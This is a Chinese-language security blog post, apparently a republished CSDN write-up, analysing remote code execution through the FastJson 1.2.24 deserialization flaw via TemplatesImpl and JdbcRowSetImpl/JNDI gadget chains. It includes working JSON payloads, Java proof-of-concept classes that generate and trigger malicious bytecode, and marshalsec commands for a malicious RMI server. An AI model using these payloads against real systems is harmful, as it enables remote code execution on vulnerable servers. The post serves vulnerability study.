栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

『Java安全』反序列化-FastJson 1.2.24反序列化漏洞POP链分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『Java安全』反序列化-FastJson 1.2.24反序列化漏洞POP链分析

文章目录

前言

版本FastJson基础 一、反序列化TemplatesImpl类+类加载触发

payload代码审计 | 原理分析

JSON.parse()对byte[]进行base64解码JavaBeanDeserializer.smartMatch()智能匹配字段JSON.parse()在解析参数时候会调用getter/setterJSON.parse()触发TemplatesImpl.getOutputProperties() POP链代码复现缺点 二、反序列化JDBCRowSetImpl类+JNDI注入触发

payload代码审计 | 原理分析

JDBCRowSetImpl.setAutoCommit()触发lookup()完成JNDI注入JSON.parse()触发JDBCRowSetImpl.setAutoCommit() POP链代码复现优点 marshalsec测试payload利用

生成恶意classmarshalsec开启恶意rmi服务器受害者访问rmi服务触发RCE 参考完

前言 版本

本篇笔记实例选取FastJson <= 1.2.24 + jdk8u111

在选取payload的时候要注意对应jdk版本是否能够触发

FastJson基础

『Java』Fastjson基础

一、反序列化TemplatesImpl类+类加载触发

原理是使用payload触发7u21反序列化完成RCE

payload
{
	"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes":["yv66......"],
	"_name":"foo",
	"_tfactory":{},
	"_outputProperties":{}
}

其中"_outputProperties"字段必须放在最后、_name字段可以任填、bytecodes的生成参考7u21的GenerateEvilByJavaassist利用javaassist生成恶意TemplatesImpl类字节码

『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞

代码审计 | 原理分析 JSON.parse()对byte[]进行base64解码

DefaultJSONParse有个parseArray用来解析Array数组

对于byte[]直接跳转到最后

deserializer是ObjectArrayCodec类的,这里有针对byte[]调用了lexer.bytevalue()

然后进行了base64解码

JavaBeanDeserializer.smartMatch()智能匹配字段

匹配字段名称会自动忽略下划线和横杠

因为这个特性才能对_outputProperties字段调用getOutputProperties方法触发反序列化漏洞

JSON.parse()在解析参数时候会调用getter/setter

『Java』Fastjson基础
parse先调用setter在调用getter

JSON.parse()触发TemplatesImpl.getOutputProperties()

由于_bytecodes是private变量,因此需要在parse设置参数Feature.SupportNonPublicField才能够完成赋值,在处理完参数后来到JSON.parse(),然后调用默认解析器的parse()方法解析JSON

首先解析第一个字符是左花括号,对应的编号是12分支,Token对照可以在JSONToken.class查


进入JSONObject方法,这里有个true循环去解析@type标签

解析到@type标签会调用类加载器加载指定的类

接着,获取类的反序列化器,获取反序列化器的时候做了过滤排除掉了一些特殊类

最后获取的是createJavaBeanDeserializer创建的反序列化器

然后就进入解析

调用JavaBeanDeserializer.deserialuze()

这里有几个循环嵌套,负责解析

解析用的是parseField方法

parseField方法设置字段利用的是反射
解析到tfactory字段时为空会自动创建TransformerFactoryImpl实例,7u21版本无需设置该字段,但是7u80以后的高版本需要设置

在设置最后一个参数outputProperties的时候:进入了DefaultFieldDeserializer.parseField方法的最后一个setValue方法
FieldDeserializer.setValue方法利用反射调用了TemplatesImpl.getOutputProperties()从而完成了触发

POP链

setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSonParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSonParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSonParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:14, TemplatesImplPayload (fastjson.Ver2u24)
代码复现

借用之前的方法:jdk7u21/GenerateEvilByJavaassist.java

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class GenerateEvilByJavaassist {
    public static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("Evil");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{Runtime.getRuntime().exec("calc");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }


}

TemplatesImplPayload.java

package fastjson.Ver2u24;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.unboundid.util.base64;


public class TemplatesImplPayload {
    public static void main(String[] args) throws Exception {
        String typeName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String byteCodes = base64.encode(jdk7u21.GenerateEvilByJavaassist.generate());
        String payload = "{"@type":"" + typeName + "", "_bytecodes":["" + byteCodes + ""], "_name":"foo", "_tfactory":{}, "_outputProperties":{}}n";
		System.out.println(payload);
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

缺点

因为TemplatesImpl的bytecodes字段是private,在parse的时候就要假设远程服务器开启了Feature.SupportNonPublicField参数,然而这并不具有通用性

二、反序列化JDBCRowSetImpl类+JNDI注入触发

原理是使用payload触发JNDI注入完成RCE

payload

在选取payload的时候要注意对应jdk版本是否能够触发

// rmi
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://xxx.xxx.xxx.xxx/hacked",
	"autoCommit":true
}

// ldap
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://xxx.xxx.xxx.xxx/hacked",
	"autoCommit":true
}

『Java安全』基础JNDI注入原理和手段探究(低版本)

代码审计 | 原理分析 JDBCRowSetImpl.setAutoCommit()触发lookup()完成JNDI注入

与上面参考文章调用execute方法触发不同:
JDBCRowSetImpl.setAutoCommit()方法首先会检测conn参数,为空则会发起连接,是从这进入的connect()方法

然后就会lookup

JSON.parse()触发JDBCRowSetImpl.setAutoCommit()

根据上面的分析,autoCommit是布尔类型的

因此在payload最后给autoCommit赋布尔值、在parse的时候就会去调用它的set方法了

POP链

代码复现

JDBCRowSetImplPayload.java

package fastjson.Ver2u24;

import com.alibaba.fastjson.JSON;

public class JDBCRowSetImplPayload {
    public static void main(String[] args) throws Exception {
        String typeName = "com.sun.rowset.JdbcRowSetImpl";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String ldapURL = "ldap://127.0.0.1:389/hacked";
        
        String payload1 = "{"@type":""+ typeName +"", "dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
        String payload2 = "{"@type":""+ typeName +"", "dataSourceName":"" + ldapURL +"", "autoCommit":true}n";
        
        System.out.println(payload1);
        System.out.println(payload2);
        
        JSON.parseObject(payload1);
        //JSON.parseObject(payload2);
    }
}

起一个恶意RMI/LDAP服务,这里用之前学习jndi的代码

『Java安全』基础JNDI注入原理和手段探究(低版本)

优点

克服了TemplatesImpl需要指定parse参数Feature.SupportNonPublicField的不足,能够直接触发

marshalsec测试payload利用 生成恶意class

写一个Exploit,只要在静态代码块完成RCE即可

然后javac编译,使用python -m http.server 80开一个服务器把class文件放上去确保能访问到

marshalsec开启恶意rmi服务器

将rmi开启在6666端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 6666
受害者访问rmi服务触发RCE

受害者rce成功

参考

Fastjson 1.2.24反序列化漏洞分析

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123261762
版权声明:本文为原创,转载时须注明出处及本声明

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/755110.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号